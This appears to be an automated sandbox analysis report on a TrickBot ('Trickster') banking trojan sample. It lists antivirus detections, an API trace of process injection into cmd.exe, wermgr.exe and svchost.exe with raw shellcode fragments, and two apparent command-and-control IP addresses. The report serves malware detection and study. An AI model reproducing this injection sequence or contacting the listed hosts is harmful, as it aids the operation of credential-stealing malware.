NtResumeThread Aug. 18, 2021, 6:27 p.m.	thread_handle: 0x0000000000000424 suspend_count: 1 process_identifier: 1600	1	0	0

File has been identified by 22 AntiVirus engines on VirusTotal as malicious (22 events)

Lionic	Trojan.Win32.Trickster.7!c
Elastic	malicious (high confidence)
FireEye	Generic.mg.296686ae5812e910
McAfee	Artemis!296686AE5812
Cylance	Unsafe
CrowdStrike	win/malicious_confidence_100% (W)
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/GenKryptik.FJDI
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan-Banker.Win32.Trickster.gen
Avast	FileRepMalware
McAfee-GW-Edition	Artemis!Trojan
Sophos	ML/PE-A
Kingsoft	Win32.Troj.Banker.(kcloud)
Microsoft	Trojan:Win32/TrickBotCrypt.EM!MTB
ZoneAlarm	HEUR:Trojan-Banker.Win32.Trickster.gen
Cynet	Malicious (score: 100)
Tencent	Win32.Trojan-banker.Trickster.Hrpe
SentinelOne	Static AI - Suspicious PE
Fortinet	W32/GenKryptik.FJDI!tr
AVG	FileRepMalware

Executed a process and injected code into it, probably while unpacking (50 out of 1838 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Aug. 18, 2021, 6:32 p.m.	thread_identifier: 2828 thread_handle: 0x00000114 process_identifier: 2208 current_directory: C:\Windows\system32 filepath: track: 1 command_line: C:\Windows\system32\cmd.exe filepath_r: stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000118	1	1
CreateProcessInternalW Aug. 18, 2021, 6:32 p.m.	thread_identifier: 1108 thread_handle: 0x00000118 process_identifier: 1312 current_directory: C:\Windows\system32 filepath: track: 1 command_line: C:\Windows\system32\wermgr.exe filepath_r: stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000114	1	1
CreateProcessInternalW Aug. 18, 2021, 6:26 p.m.	thread_identifier: 2032 thread_handle: 0x00000000000003f0 process_identifier: 2988 current_directory: filepath: track: 1 command_line: C:\Windows\system32\svchost.exe filepath_r: stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000090000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: UAVVWSHì`Hl$`HäðHùë0H¨ÇGXHOÿW0HHWA¸ÿÿÿÿE3ÉÿWkGX D$\D$\ø uWHw`HkFHD$PHD$PH=u\HFHLV@L^8H^0LN(LF HNHVHD$8LT$0L\$(H\$ ëpD$\øÅ3Àé\ÿÿÿHD$PH=«uPHFPH^HLV@L^8Lv0LN(LF HNHVHD$@H\$8LT$0L\$(Lt$ ÿH ¸éóþÿÿH\|$PtHD$PHø9uLF HNHVÿëÌÿëÈHD$PHøuHNÿëµHD$PHø&GÿÿÿHNHVÿëHÇ¨HHWE3ÀE3ÉÿWHÿW(HÇHOÿW(HÇG3ÉÿW83ÀHå[_^A^]ÃÌÌÌÌÌÌUVHì(Hl$ HäðHuPHöt@HEHM@HVpLFxLÉHHH¶HNÿV0HNºÿÿÿÿÿV He^]Ã base_address: 0x0000000000090000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000000a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: H¹ H¸ ÿà base_address: 0x00000000ff42246c process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtResumeThread Aug. 18, 2021, 6:26 p.m.	thread_handle: 0x00000000000003f0 suspend_count: 1 process_identifier: 2988	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 774144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000180000000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 4 (PAGE_READWRITE) base_address: 0x0000000180000000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000000000003ec	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: VERSION.dll base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: o!w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: GetFileVersionInfoA base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"wìüþ base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: VerQueryValueA base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"wìüþ base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: GetFileVersionInfoSizeA base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"wìüþ base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: KERNEL32.dll base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: o!w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: GetLastError base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: HeapFree base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: HeapSize base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1	0
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 events)

dead_host	79.106.115.107:443
dead_host	65.152.201.203:443

bsnaw83e8cf2a243447619488f24e84d65eb5

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All